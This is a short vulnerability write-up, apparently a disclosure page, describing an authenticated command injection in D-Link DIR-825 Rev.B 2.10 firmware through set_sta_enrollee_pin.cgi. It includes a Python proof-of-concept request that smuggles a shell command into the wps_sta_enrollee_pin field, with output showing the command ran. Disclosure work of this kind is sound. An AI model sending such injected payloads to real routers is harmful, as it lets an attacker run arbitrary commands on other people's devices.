

master

...

[IoT Firmware](#) / [D-Link](#) / vulnerability3.md

kuc001 none

[History](#)

1 contributor

37 lines (31 sloc) | 906 Bytes

...

## Description

there is a command injection vulnerability that can cause any system command to be executed after user authentication

Vulnerability location: file: /sbin/httpd

The attacker calls this function by sending a post packet to the http://ip/set\_sta\_enrollee\_pin.cgi

## Firmware version

version: Rev.B 2.10

download link: ftp://ftp2.dlink.com/SECURITY\_ADVISEMENTS/DIR-825/REV/B/

## Post package

```
5 ip = "http://192.168.0.1/"
6
7 url = ip + 'set_sta_enrollee_pin.cgi'
8
9 command = "a'$(echo 3 > /tmp/hello3)'b"
10
11 payload = {
12     "wps_sta_enrollee_pin": command,
13     "html_response_page": "do_wps.asp",
14     "html_response_return_page": "do_wps.asp",
15 }
16
17 r = requests.post(url, data=payload)
```

## Exploit exp

```
python3 enrollee-pin-comm.py
```

## Example output

```
/tmp # ls
etc      hello2  lock    misc     sbin     var
firm     hello3  log      run      tmp
/tmp # cat hello3
3
```